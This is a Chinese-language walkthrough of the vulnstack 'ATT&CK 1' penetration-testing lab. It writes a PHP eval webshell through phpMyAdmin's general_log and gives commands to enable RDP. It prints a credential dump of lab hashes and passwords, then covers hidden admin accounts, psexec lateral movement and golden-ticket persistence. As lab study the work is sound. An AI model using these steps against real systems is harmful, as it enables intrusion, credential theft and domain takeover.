ATT&CK(一)
靶场搭建
靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
靶机下载完成后解压,使用vmware打开虚拟机,有三台虚拟机:Win7、Win2003、Win2008
默认密码hongrisec@2019
攻击路径
官网提供的攻击路径如下:
攻击者:kali
web服务器:Win7
域成员:Win2003
域控:Server 2008
拓扑图
(图中ip有变)
配置网络
登录进去之后,首先我们要设置好网络。
设置虚拟网络配置:点击vmware的编辑器,
有两种方法查看网络连接
右键属性–>双击IPv4–>选择自动获得IP地址和DNS服务地址。
这个操作对每个需要用到的网卡都 要做。
打开虚拟网络编辑器(先点击更改设置)
点击添加网络,随便选一个VMnetxx
,这里我选择VMnet2
,如下图:
点击确定,然后选择仅主机模式(在专用网络内连接)
,子网IP设置为:192.168.52.0
,子网掩码设置为:255.255.255.0
,然后点击应用,再点击确定即可
对Windows 7
进行配置,作为Web服务器,其第一个网络适配器选择我们刚刚添加的VMnet2
,即192.168.52.0/24
的网段,第二个网络适配器选择桥接模式。
对Windows Server 2008 R2
进行配置,其网络适配器选择我们刚刚添加的VMnet2
,即192.168.52.0/24
的网段。
对Windows Server 2003
进行配置,其网络适配器选择我们刚刚添加的VMnet2
,即192.168.52.0/24
的网段。
好了,之后就可以成功登陆,但是有两个需要重新启动.
Web渗透测试
访问目标服务器的网站,看到的是一个PHP study的探针
,PHP探针在我们做信息收集的时候是很有用的:我们可以在这里看到目标服务器的域名和IP地址,网站根目录的绝对路径和探针路径
往下拉,还能看到MySQL数据库连接测试,密码是弱口令root
一般来说,目标服务器上存在探针的话,大概率是存在phpMyAdmin
的,因为目标服务器是用PHP study搭建的集成环境,PHP study或者其它的集成环境安装包,在安装完成之后,就会自带一个phpMyAdmin
,有一些还会自带探针,有一些会自带phpinfo而没有探针,有一些是没有探针或者phpinfo的,大部分情况下都是有带的,没有的话一般都是管理员手动将其删除了
因为目标服务器出现了探针,我们可以盲猜目标服务器存在phpMyAdmin
,因此我们去访问其地址试试看:http://192.168.31.198/phpmyadmin/, 发现确实存在,因此我们得到的数据库的账号和密码就可以发挥作用了:
存在phpmyadmin
进入phpMyAdmin
之后,我们是可以直接getshell的,因为在MySQL数据库中有导出函数:①into outfile
和②into dumpfile
,可以将查询的结果导出成文件,因此我们可以尝试在SQL语句执行模块尝试写入webshell:
1 2
| select '<?php eval($_POST['_']);?>' into outfile 'C:/php/WWW/shell.php' // 导出的位置需要写绝对路径,绝对路径在探针里面可以看到为C:/php/WWW
|
进行命令执行时发现报错
此时我们在SQL语句的执行模块输入以下命令:
查看secure-file-priv参数的值,发现为空:说明只能读取,不能导入导出
secure_file_priv
这个参数用来限制数据在数据库中的导入和导出操作的效果,如果这个参数为NULL,MySQL服务会禁止导入和导出操作,因此我们不能通过这个方法直接写入webshell了,只能另寻他法。
可以看到,全局日志为OFF的状态,说明全局日志被关闭了,我们可以输入以下命令将general_log
改为ON
1
| set global general_log = on;
|
输入命令并执行,显示SQL语句成功执行:
再次进行getsgell,我们去执行以下SQL语句,让其被写入全局日志的文件里面:
1
| select '<?php eval($_POST[_]);?>'
|
输入命令并执行,显示SQL语句成功执行并返回了结果:
除了要修改以上内容,我们还需要修改一下全局日志文件的路径,输入以下命令:
1
| set global general_log_file = 'C:/php/WWW/shell.php'
|
通过webshell管理工具蚁剑去连接这个webshell:将对应的URL地址和连接密码输入框中,点击测试连接,显示连接成功,说明我们已经成功getshell了
.\nmap.exe 192.168.31.198 -sS -sV -A -T4 -p-
http://192.168.31.198/
不做这些题了,没意思,直接到域渗透,不过有一个工具挺好用的
上线之后,发现直接是管理员权限
先sleep 0
正常来说,
要先检查杀软,然后关闭防火墙和windows defender,然后开3389端口,进行远程连接
远程打开3389连接的命令
- wmic RDTOGGLE WHERE ServerName=‘%COMPUTERNAME%’ call SetAllowTSConnections 1
- REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
检测3389端口是否打开
netstat -an|find “3389”
接下来正式进入域渗透
win7的系统用现在的脚本随便拿SYSTEM权限
查看域信息
1
| shell net config workstation
|
发现是在域中的,并且dns域名为god.org
查看主域信息
shell net time /domain
查看主机时间
shell net config /domain
查询当前的登录域与用户信息
查看域控
shell nslookup god.org
#nslookup直接解析域名服务器
查看当前域的所有用户
shell net user /domain
查看域内用户的详细信息
shell wmic useraccount get /all
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| AccountType Caption Description Disabled Domain FullName InstallDate LocalAccount Lockout Name PasswordChangeable PasswordExpires PasswordRequired SID SIDType Status
512 STU1\Administrator 管理计算机(域)的内置帐户 TRUE STU1 TRUE FALSE Administrator TRUE FALSE TRUE S-1-5-21-1982601180-2087634876-2293013296-500 1 Degraded
512 STU1\Guest 供来宾访问计算机或访问域的内置帐户 TRUE STU1 TRUE FALSE Guest FALSE FALSE FALSE S-1-5-21-1982601180-2087634876-2293013296-501 1 Degraded
512 STU1\liukaifeng01 FALSE STU1 TRUE FALSE liukaifeng01 TRUE TRUE FALSE S-1-5-21-1982601180-2087634876-2293013296-1000 1 OK
512 GOD\Administrator 管理计算机(域)的内置帐户 FALSE GOD FALSE FALSE Administrator TRUE TRUE TRUE S-1-5-21-2952760202-1353902439-2381784089-500 1 OK
512 GOD\Guest 供来宾访问计算机或访问域的内置帐户 TRUE GOD FALSE FALSE Guest FALSE FALSE FALSE S-1-5-21-2952760202-1353902439-2381784089-501 1 Degraded
512 GOD\krbtgt 密钥发行中心服务帐户 TRUE GOD FALSE FALSE krbtgt TRUE TRUE TRUE S-1-5-21-2952760202-1353902439-2381784089-502 1 Degraded
512 GOD\liukaifeng01 FALSE GOD FALSE FALSE liukaifeng01 TRUE TRUE FALSE S-1-5-21-2952760202-1353902439-2381784089-1000 1 OK
512 GOD\ligang FALSE GOD 李刚 FALSE FALSE ligang TRUE TRUE TRUE S-1-5-21-2952760202-1353902439-2381784089-1106 1 OK
|
查看所有域成员计算机列表
shell net group "domain computers" /domain
查看域管理员
shell net group "domain admins" /domain
查看域密码信息
shell net accounts /domain
查看域信任信息
shell nltest /domain_trusts
查看哈希
hashdump
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114
| Authentication Id : 0 ; 1851525 (00000000:001c4085) Session : Interactive from 1 User Name : Administrator Domain : GOD Logon Server : OWA Logon Time : 2023/4/10 20:57:05 SID : S-1-5-21-2952760202-1353902439-2381784089-500 msv : [00000003] Primary * Username : Administrator * Domain : GOD * LM : edea194d76c77d87840ac10a764c7362 * NTLM : 8a963371a63944419ec1adf687bb1be5 * SHA1 : 343f44056ed02360aead5618dd42e4614b5f70cf tspkg : * Username : Administrator * Domain : GOD * Password : hongrisec@2019 wdigest : * Username : Administrator * Domain : GOD * Password : hongrisec@2019 kerberos : * Username : Administrator * Domain : GOD.ORG * Password : hongrisec@2019 ssp : credman :
Authentication Id : 0 ; 997 (00000000:000003e5) Session : Service from 0 User Name : LOCAL SERVICE Domain : NT AUTHORITY Logon Server : (null) Logon Time : 2023/4/10 20:56:44 SID : S-1-5-19 msv : tspkg : wdigest : * Username : (null) * Domain : (null) * Password : (null) kerberos : * Username : (null) * Domain : (null) * Password : (null) ssp : credman :
Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Name : STU1$ Domain : GOD Logon Server : (null) Logon Time : 2023/4/10 20:56:44 SID : S-1-5-20 msv : [00000003] Primary * Username : STU1$ * Domain : GOD * NTLM : 6f369d18d34594447da90da1912ea4d3 * SHA1 : dc29157e2fa1c4c7e979e9675260f2941d4cbf0d tspkg : wdigest : * Username : STU1$ * Domain : GOD * Password : f0 6d 65 fe 07 76 36 d7 72 44 c1 71 bc 88 2b d1 e6 cb 2a a4 84 85 20 91 ec 8a 77 5a 8e 7e 2b 7f 6f 0e 51 69 b0 9e 6f 95 99 36 23 91 7a c3 5c 5f 74 9c 84 77 cd c0 1b 1c d0 54 7f 8e 49 f0 24 0a 50 14 d3 41 ca d4 d6 d1 d9 fb 48 f3 2d 21 be cd 82 20 f8 5b 31 af c8 e7 d2 dc 33 be 2d d6 eb 40 5b 45 a0 25 b6 42 04 88 4c c9 64 39 ad d6 d6 e5 51 bb 01 9f 48 fe 23 cd ef eb 9f 23 ef bf da d0 96 51 c6 93 84 9e 99 20 88 4c 83 71 ad 96 7d 3e 66 5c 60 ca 0e 7a 40 c2 42 de 7c e7 ad 58 0e ee 2a 39 7b 43 f0 5f 2a 20 6b a8 f3 2e 1b ca d4 6b 5e a9 4e 55 21 d5 4e 8e c5 33 5f 97 a5 1a 22 60 e1 fd be 8d 77 f4 68 26 78 1b 9f b9 90 cb 73 ca 5b 51 3e 8c 06 93 ee 33 98 7e f7 a8 22 da f1 75 25 54 91 03 75 9b 33 4a b3 f5 3c 11 9c d2 9f a7 kerberos : * Username : stu1$ * Domain : GOD.ORG * Password : f0 6d 65 fe 07 76 36 d7 72 44 c1 71 bc 88 2b d1 e6 cb 2a a4 84 85 20 91 ec 8a 77 5a 8e 7e 2b 7f 6f 0e 51 69 b0 9e 6f 95 99 36 23 91 7a c3 5c 5f 74 9c 84 77 cd c0 1b 1c d0 54 7f 8e 49 f0 24 0a 50 14 d3 41 ca d4 d6 d1 d9 fb 48 f3 2d 21 be cd 82 20 f8 5b 31 af c8 e7 d2 dc 33 be 2d d6 eb 40 5b 45 a0 25 b6 42 04 88 4c c9 64 39 ad d6 d6 e5 51 bb 01 9f 48 fe 23 cd ef eb 9f 23 ef bf da d0 96 51 c6 93 84 9e 99 20 88 4c 83 71 ad 96 7d 3e 66 5c 60 ca 0e 7a 40 c2 42 de 7c e7 ad 58 0e ee 2a 39 7b 43 f0 5f 2a 20 6b a8 f3 2e 1b ca d4 6b 5e a9 4e 55 21 d5 4e 8e c5 33 5f 97 a5 1a 22 60 e1 fd be 8d 77 f4 68 26 78 1b 9f b9 90 cb 73 ca 5b 51 3e 8c 06 93 ee 33 98 7e f7 a8 22 da f1 75 25 54 91 03 75 9b 33 4a b3 f5 3c 11 9c d2 9f a7 ssp : credman :
Authentication Id : 0 ; 49585 (00000000:0000c1b1) Session : UndefinedLogonType from 0 User Name : (null) Domain : (null) Logon Server : (null) Logon Time : 2023/4/10 20:56:44 SID : msv : [00000003] Primary * Username : STU1$ * Domain : GOD * NTLM : 6f369d18d34594447da90da1912ea4d3 * SHA1 : dc29157e2fa1c4c7e979e9675260f2941d4cbf0d tspkg : wdigest : kerberos : ssp : credman :
Authentication Id : 0 ; 999 (00000000:000003e7) Session : UndefinedLogonType from 0 User Name : STU1$ Domain : GOD Logon Server : (null) Logon Time : 2023/4/10 20:56:44 SID : S-1-5-18 msv : tspkg : wdigest : * Username : STU1$ * Domain : GOD * Password : f0 6d 65 fe 07 76 36 d7 72 44 c1 71 bc 88 2b d1 e6 cb 2a a4 84 85 20 91 ec 8a 77 5a 8e 7e 2b 7f 6f 0e 51 69 b0 9e 6f 95 99 36 23 91 7a c3 5c 5f 74 9c 84 77 cd c0 1b 1c d0 54 7f 8e 49 f0 24 0a 50 14 d3 41 ca d4 d6 d1 d9 fb 48 f3 2d 21 be cd 82 20 f8 5b 31 af c8 e7 d2 dc 33 be 2d d6 eb 40 5b 45 a0 25 b6 42 04 88 4c c9 64 39 ad d6 d6 e5 51 bb 01 9f 48 fe 23 cd ef eb 9f 23 ef bf da d0 96 51 c6 93 84 9e 99 20 88 4c 83 71 ad 96 7d 3e 66 5c 60 ca 0e 7a 40 c2 42 de 7c e7 ad 58 0e ee 2a 39 7b 43 f0 5f 2a 20 6b a8 f3 2e 1b ca d4 6b 5e a9 4e 55 21 d5 4e 8e c5 33 5f 97 a5 1a 22 60 e1 fd be 8d 77 f4 68 26 78 1b 9f b9 90 cb 73 ca 5b 51 3e 8c 06 93 ee 33 98 7e f7 a8 22 da f1 75 25 54 91 03 75 9b 33 4a b3 f5 3c 11 9c d2 9f a7 kerberos : * Username : stu1$ * Domain : GOD.ORG * Password : f0 6d 65 fe 07 76 36 d7 72 44 c1 71 bc 88 2b d1 e6 cb 2a a4 84 85 20 91 ec 8a 77 5a 8e 7e 2b 7f 6f 0e 51 69 b0 9e 6f 95 99 36 23 91 7a c3 5c 5f 74 9c 84 77 cd c0 1b 1c d0 54 7f 8e 49 f0 24 0a 50 14 d3 41 ca d4 d6 d1 d9 fb 48 f3 2d 21 be cd 82 20 f8 5b 31 af c8 e7 d2 dc 33 be 2d d6 eb 40 5b 45 a0 25 b6 42 04 88 4c c9 64 39 ad d6 d6 e5 51 bb 01 9f 48 fe 23 cd ef eb 9f 23 ef bf da d0 96 51 c6 93 84 9e 99 20 88 4c 83 71 ad 96 7d 3e 66 5c 60 ca 0e 7a 40 c2 42 de 7c e7 ad 58 0e ee 2a 39 7b 43 f0 5f 2a 20 6b a8 f3 2e 1b ca d4 6b 5e a9 4e 55 21 d5 4e 8e c5 33 5f 97 a5 1a 22 60 e1 fd be 8d 77 f4 68 26 78 1b 9f b9 90 cb 73 ca 5b 51 3e 8c 06 93 ee 33 98 7e f7 a8 22 da f1 75 25 54 91 03 75 9b 33 4a b3 f5 3c 11 9c d2 9f a7 ssp : credman :
|
添加隐藏账户
shell net user jinmu$ Jm124578 /add
shell ADMIN$ OOPP123456
设置管理员权限
shell net localgroup administrators jinmu$ /add
检查是否有隐藏用户
https://github.com/wgpsec/CreateHiddenAccount
这个工具还能创建隐藏用户,不过CS插件都有了
shell CreateHiddenAccount.exe -c
检查到了
在CS中还可以直接利用插件将木马插入到注册表启动项,这样对方主机登陆就会上线
提权到域控
psexec 是微软 pstools 工具包中最常用的一个工具,也是在内网渗透中的免杀渗透利器。psexec 能够在命令行下在对方没有开启 telnet 服务的时候返回一个半交互的命令行,像 telnet 客户端一样。原理是基于 IPC 共享,所以要目标打开 445 端口。另外在启动这个 psexec 建立连接之后对方机器上会被安装一个服务。
利用 psexec 横向移动至 DC,域控成功上线。
权限维持
在域控获得 KRBTGT 账户 NTLM 密码哈希和 SID
黄金票据利用
黄金票据是伪造票据授予票据 (TGT), 也被称为认证票据,TGT 仅用于向域服务器上的密钥分配中心 (KDC) 证明用户已经被其他的域控制器认证
- 制作黄金票据的前提条件
- 域名称
- 域的 SID
- 域的 krbtgt账户的密码 hash 值 (NTLM or aes256_hmac)
- 伪造的用户名,可以是任意用户甚至是不存在
黄金票据可以在拥有普通域用户权限和 krbtgt 账户的 hash 的情况下用来获取域管理员权限,上面已经获取了域控的 system 权限了,还可以使用黄金票据做权限维持,当域控制器权限掉了之后,在通过域内其他任意机器伪造票据重新湖区最高权限
- 域的 krbtgt账户的密码 hash 值 (NTLM or aes256_hmac)
第二种方法
net view
查看内网情况和端口开放
执行后可以在Targets选项卡看到扫描的主机
这个时候用hashdump去读内存密码,用mimakarz读注册表密码,logonpasswords权限不够可以先去提权
抓取密码后探测内网其他主机:
for /L %I in (1,1,234) DO @ping -w 1 -n 1 192.168.52.%I |findstr "TTL="
这里还有k8大神的工具ladon,内容丰富,扫描快
主要介绍SMB beacon,CS派生SMB beacon
SMB beacon通过命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子beacon从父beacon获取到任务并发送。因为链接的Beacons使用windows命名管道进行通信,此流量封装于SMB协议中,所以SMB beacon相对隐蔽,绕过防火墙会有奇效
第一种是在已经有的beacon上创建监听,用来作为跳板内网穿透,前提是通过shell访问其他内网主机,也就是获取DC的方法一
第二种就是直接派生一个,目的为了进一步盗取内网主机的hash
新建一个listener,payload设置为Beacon SMB:
横向移动psexec64
获得域控 OWA beacon
第一次玩内网不知道干嘛了,ladon扫描内网发现还有两台主机
然后改怎么办呢,…